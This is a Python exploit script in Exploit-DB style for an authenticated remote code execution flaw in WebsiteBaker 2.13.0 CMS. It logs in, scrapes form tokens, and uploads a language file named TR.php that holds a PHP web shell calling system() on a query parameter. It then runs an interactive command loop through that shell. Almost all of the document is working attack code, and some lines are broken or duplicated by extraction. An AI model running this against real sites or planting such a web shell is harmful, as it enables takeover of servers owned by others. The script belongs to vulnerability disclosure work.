```
# Exploit Title: WebsiteBaker 2.13.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 18-09-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://websitebaker.org/
# Software Link: http://wiki.websitebaker.org/doku.php/en/downloads
# Version: 2.13.0
# Category: Webapps
# Tested on: Linux/Windows

# WebsiteBaker Open Source Content Management
# Includes an endpoint that allows remote access
# Language page misconfigured, causing vulnerability
# User information with sufficient permissions is required.
# I had to write a long script to bypass some security measures.

# Example: python3 exploit.py -u http://example.com -l admin -p Admin123
#          python3 exploit.py -h
```

```
from bs4 import BeautifulSoup
from time import sleep
import requests
import argparse


def main():
    parser = argparse.ArgumentParser(
        description='WebsiteBaker 2.13.0 - Remote Code Execution (RCE)
(Authenticated)'
    )
    parser.add_argument('-u', '--host', type=str, required=True)
    parser.add_argument('-l', '--login', type=str, required=True)
    parser.add_argument('-p', '--password', type=str, required=True)
    args = parser.parse_args()
    print("\nWebsiteBaker 2.13.0 - Remote Code Execution (RCE) (Authenticated)",
          "\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
    sleep(2)
    find_default(args)



def find_default(args):
    #Check http or https
    if args.host.startswith(('http://', 'https://')):
        print("[?] Check Url...\n")
        args.host = args.host
        if args.host.endswith('/'):
            args.host = args.host[:-1]
        sleep(2)
    else:
        print("\n[?] Check Adress...\n")
        args.host = "http://" + args.host
        args.host = args.host
        if args.host.endswith('/'):
            args.host = args.host[:-1]
        sleep(2)


    # Check Host Status
    try:
        response = requests.get(args.host)
        if response.status_code != 200:
            print("[-] Address not reachable!\n")
            sleep(2)
            exit(1)

    except requests.ConnectionError as exception:
        print("[-] Address not reachable!\n")
        sleep(2)
        exit(1)

    exploit(args)

    url = args.host + "/admin/login/index.php"
    headers = {
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101
Firefox/77.0",
        "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
exchange;v=b3;q=0.9",
        "Referer": args.host + "/admin/addons/index.php",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "en-US,en;q=0.9",
```

```
        "Connection": "close"
    }
    response = requests.get(url, headers=headers)
    for cookie in response.cookies:
        phpsessid_name = cookie.name

    soup = BeautifulSoup(response.text, 'html.parser')
    input_hidden_username = (soup.find_all("input", type="hidden")
[1].get("value"))
    input_hidden_password = (soup.find_all("input", type="hidden")
[2].get("value"))
    input_hidden_name = (soup.find_all("input", type="hidden")[3].get("name"))
    input_hidden_value = (soup.find_all("input", type="hidden")[3].get("value"))


    login(args, phpsessid_name, input_hidden_username, input_hidden_password,
input_hidden_name, input_hidden_value)



def login(args, phpsessid_name, input_hidden_username, input_hidden_password,
input_hidden_name, input_hidden_value):

    session = requests.session()

    url = args.host + "/admin/login/index.php"
    cookies = {
        "klaro": "{'klaro':true,'mathCaptcha':true}"
    }

    headers = {
        "Cache-Control": "max-age=0",
        "Upgrade-Insecure-Requests": "1",
        "Origin": args.host,
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101
Firefox/77.0",
        "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
exchange;v=b3;q=0.9",
        "Referer": args.host + "/admin/login/index.php",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "en-US,en;q=0.9", "Connection": "close"
    }

    data = {
        "url": '',
        "username_fieldname": input_hidden_username,
        "password_fieldname": input_hidden_password,
        input_hidden_name: input_hidden_value,
        input_hidden_username : args.login,
        input_hidden_password : args.password,
        "submit": ''
    }


    response = session.post(url, headers=headers, cookies=cookies, data=data,
allow_redirects=False)
    new_cookie = (response.cookies.get(phpsessid_name))

    if response.headers.get("Location") == args.host + "/admin/start/index.php":
        print("[+] Success Login...\n")
        sleep(2)
        check_pers(args, phpsessid_name, new_cookie)
    else:
```

```
        print("[-] Login Failed...\n")
        print("Your username or password is incorrect.")
        sleep(2)


def check_pers(args, phpsessid_name, new_cookie):
    url = args.host + "/admin/languages/install.php"
    cookies = {
        "klaro": "{'klaro':true,'mathCaptcha':true}",
        phpsessid_name : new_cookie
    }
    headers = {
        "Cache-Control": "max-age=0",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101
Firefox/77.0",
        "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
exchange;v=b3;q=0.9",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "en-US,en;q=0.9",
        "Connection": "close"
    }
    response = requests.get(url, headers=headers, cookies=cookies)
    soup = BeautifulSoup(response.text, 'html.parser')

    if (soup.find_all("title")[0].text == "Enter your website title »
Administration - Add-ons"):
        find_token(args, phpsessid_name, new_cookie)
    else:
        print("[!] Unauthorized user!\n\n")
        print("Requires user with language editing permissions.")
        sleep(2)
        exit(1)


def find_token(args, phpsessid_name, new_cookie):
    url = args.host + "/admin/languages/index.php"
    cookies = {
        "klaro": "{'klaro':true,'mathCaptcha':true}",
        phpsessid_name : new_cookie
    }
    headers = {
        "Cache-Control": "max-age=0",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101
Firefox/77.0",
        "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
exchange;v=b3;q=0.9",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "en-US,en;q=0.9",
        "Connection": "close"
    }
    response = requests.get(url, headers=headers, cookies=cookies)
    soup = BeautifulSoup(response.text, 'html.parser')
    token_hidden_name = soup.find_all("input", type="hidden")[5].get("name")
    token_hidden_value = soup.find_all("input", type="hidden")[5].get("value")


    if soup.find_all("option")[1].text == "":
        exploit(args)
    elif soup.find_all("option")[20].text == "Türkçe":
        token_lang = soup.find_all("option")[20].get("value")
        uninstall_lang(args, phpsessid_name, new_cookie, token_hidden_name,
```

```
token_hidden_value, token_lang)
    else:
        install_lang(args, phpsessid_name, new_cookie, token_hidden_name,
token_hidden_value)
        pass


def install_lang(args, phpsessid_name, new_cookie, token_hidden_name,
token_hidden_value):
    url = args.host + "/admin/languages/install.php"
    cookies = {
        "klaro": "{'klaro':true,'mathCaptcha':true}",
         phpsessid_name: new_cookie
    }

    headers = {
        "Cache-Control": "max-age=0",
        "Upgrade-Insecure-Requests": "1",
        "Origin": args.host,
        "Content-Type": "multipart/form-data; boundary=----
WebKitFormBoundaryCyjXuM2KSAsqjze1",
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101
Firefox/77.0",
        "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
exchange;v=b3;q=0.9",
        "Referer": args.host + "/admin/languages/index.php",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "en-US,en;q=0.9",
        "Connection": "close"
    }

    data = "------WebKitFormBoundaryCyjXuM2KSAsqjze1\r\nContent-Disposition: form-
data; name=\"action\"\r\n\r\ninstall\r\n------
WebKitFormBoundaryCyjXuM2KSAsqjze1\r\nContent-Disposition: form-data;
name=\"advanced\"\r\n\r\n\r\n------WebKitFormBoundaryCyjXuM2KSAsqjze1\r\nContent-
Disposition: form-data;
name=\""+token_hidden_name+"\"\r\n\r\n"+token_hidden_value+"\r\n------
WebKitFormBoundaryCyjXuM2KSAsqjze1\r\nContent-Disposition: form-data;
name=\"userfile\"; filename=\"TR.php\"\r\nContent-Type: application/x-
php\r\n\r\n<?php system($_GET['cmd']); ?>\n\r\n------
WebKitFormBoundaryCyjXuM2KSAsqjze1\r\nContent-Disposition: form-data;
name=\"submit\"\r\n\r\nInstall\r\n------
WebKitFormBoundaryCyjXuM2KSAsqjze1\r\nContent-Disposition: form-data;
name=\"overwrite\"\r\n\r\ntrue\r\n------WebKitFormBoundaryCyjXuM2KSAsqjze1--\r\n"
    response = requests.post(url, headers=headers, cookies=cookies, data=data)
    soup = BeautifulSoup(response.text, 'html.parser')
    # print(soup.find_all("div", class_="w3-text-grey w3--medium"))
    print("[!] Installing Vuln Lang File!\n")
    sleep(2)
    find_token(args, phpsessid_name, new_cookie)



def uninstall_lang(args, phpsessid_name, new_cookie, token_hidden_name,
token_hidden_value, token_lang):

    url = args.host + "/admin/languages/uninstall.php"
    cookies = {
        "klaro": "{'klaro':true,'mathCaptcha':true}",
        phpsessid_name: new_cookie
    }
    headers = {
        "Cache-Control": "max-age=0",
        "Upgrade-Insecure-Requests": "1"
```

```
        "Upgrade-Insecure-Requests": "1",
        "Origin": args.host,
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101
Firefox/77.0",
        "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
exchange;v=b3;q=0.9",
        "Referer": args.host + "/admin/languages/index.php",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "en-US,en;q=0.9",
        "Connection": "close"
    }
    data = {
        "action": "uninstall",
        "advanced": '',
        token_hidden_name : token_hidden_value,
        "file": token_lang,
        "submit": "Uninstall"
    }
    response = requests.post(url, headers=headers, cookies=cookies, data=data)
    soup = BeautifulSoup(response.text, 'html.parser')
    print("[!] Uninstall Lang File!\n")
    # print(soup.find_all("div", class_="w3-text-grey w3--medium"))
    sleep(2)
    find_token(args, phpsessid_name, new_cookie)



def exploit(args):
    response = requests.get(args.host + "/languages/TR.php?cmd=whoami")
    if response.status_code == 200:
        print("[*] Exploit File Exists!\n")
        sleep(2)
        print("[+] Exploit Done!\n")
        sleep(2)

        while True:
            cmd = input("$ ")
            url = args.host + "/languages/TR.php?cmd=" + cmd
            headers = {
                "Upgrade-Insecure-Requests": "1",
                "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0)
Gecko/20190101 Firefox/77.0"
            }

            response = requests.post(url, headers=headers, timeout=5)

            if response.text == "":
                print(cmd + ": command not found\n")
            else:
                print(response.text)

if __name__ == '__main__':
    main()
```